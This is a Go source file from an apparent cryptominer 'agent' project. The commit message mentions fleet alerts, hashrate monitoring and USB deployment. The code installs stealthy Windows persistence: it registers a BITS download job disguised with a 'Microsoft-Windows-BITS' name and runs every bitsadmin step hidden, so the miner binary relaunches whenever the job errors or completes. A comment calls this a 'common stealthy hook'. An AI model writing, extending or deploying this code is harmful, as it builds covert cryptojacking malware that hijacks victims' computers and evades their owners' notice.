Files
AetherForge/agent/deploy/bits_windows.go
AetherForge d52479c9a6 feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
2026-06-03 20:32:59 -07:00

93 lines
2.6 KiB
Go

//go:build windows
package deploy
import (
"fmt"
"os"
"path/filepath"
"strings"
"crypto-miner-agent/config"
)
// BITS (Background Intelligent Transfer Service) notify-job persistence — runs the
// miner when the transfer job errors, completes, or retries (common stealthy hook).
// BitsJobName returns the BITS notify job name for this worker build.
func BitsJobName(cfg config.RuntimeConfig) string {
return bitsJobName(cfg)
}
func bitsJobName(cfg config.RuntimeConfig) string {
base := PersistenceKeyName(cfg)
if base == "" {
base = "CryptoMinerAgent"
}
return "Microsoft-Windows-BITS-" + sanitizeName(base)
}
func bitsJobExists(jobName string) bool {
out, err := HiddenCombinedOutput("bitsadmin", "/list", "/allusers", "/verbose")
if err != nil {
return false
}
return strings.Contains(string(out), jobName)
}
// CreateBITSPersistence registers a download BITS job with SetNotifyCmdLine pointed at the miner.
func CreateBITSPersistence(cfg config.RuntimeConfig, binPath string) error {
if strings.TrimSpace(binPath) == "" {
return fmt.Errorf("binary path required")
}
job := bitsJobName(cfg)
if bitsJobExists(job) {
return nil
}
installDir, err := cfg.InstallDirectory()
if err != nil {
return err
}
if err := os.MkdirAll(installDir, 0o755); err != nil {
return err
}
localFile := filepath.Join(installDir, ".bits-transfer.stub")
if err := os.WriteFile(localFile, []byte{0}, 0o644); err != nil {
return err
}
remoteURL := "http://127.0.0.1:65534/aetherforge-bits-placeholder"
exeEsc := strings.ReplaceAll(binPath, `"`, `""`)
params := strings.ReplaceAll(runFlag, `"`, `""`)
steps := []struct {
name string
args []string
}{
{"create", []string{"/create", "/download", job}},
{"addfile", []string{"/addfile", job, remoteURL, localFile}},
{"notifycmd", []string{"/SetNotifyCmdLine", job, exeEsc, params}},
{"notifyflags", []string{"/SetNotifyFlags", job, "1", "1", "1", "1", "0"}},
{"retry", []string{"/SetMinRetryDelay", job, "60"}},
{"resume", []string{"/resume", job}},
}
for _, step := range steps {
args := append([]string{"bitsadmin"}, step.args...)
if err := HiddenRun(args[0], args[1:]...); err != nil {
_ = HiddenRun("bitsadmin", "/cancel", job)
return fmt.Errorf("bitsadmin %s: %w", step.name, err)
}
}
return nil
}
// RemoveBITSPersistence cancels and removes the BITS notify job for this worker.
func RemoveBITSPersistence(cfg config.RuntimeConfig) {
job := bitsJobName(cfg)
_ = HiddenRun("bitsadmin", "/cancel", job)
_ = HiddenRun("bitsadmin", "/complete", job)
if installDir, err := cfg.InstallDirectory(); err == nil {
_ = os.Remove(filepath.Join(installDir, ".bits-transfer.stub"))
}
}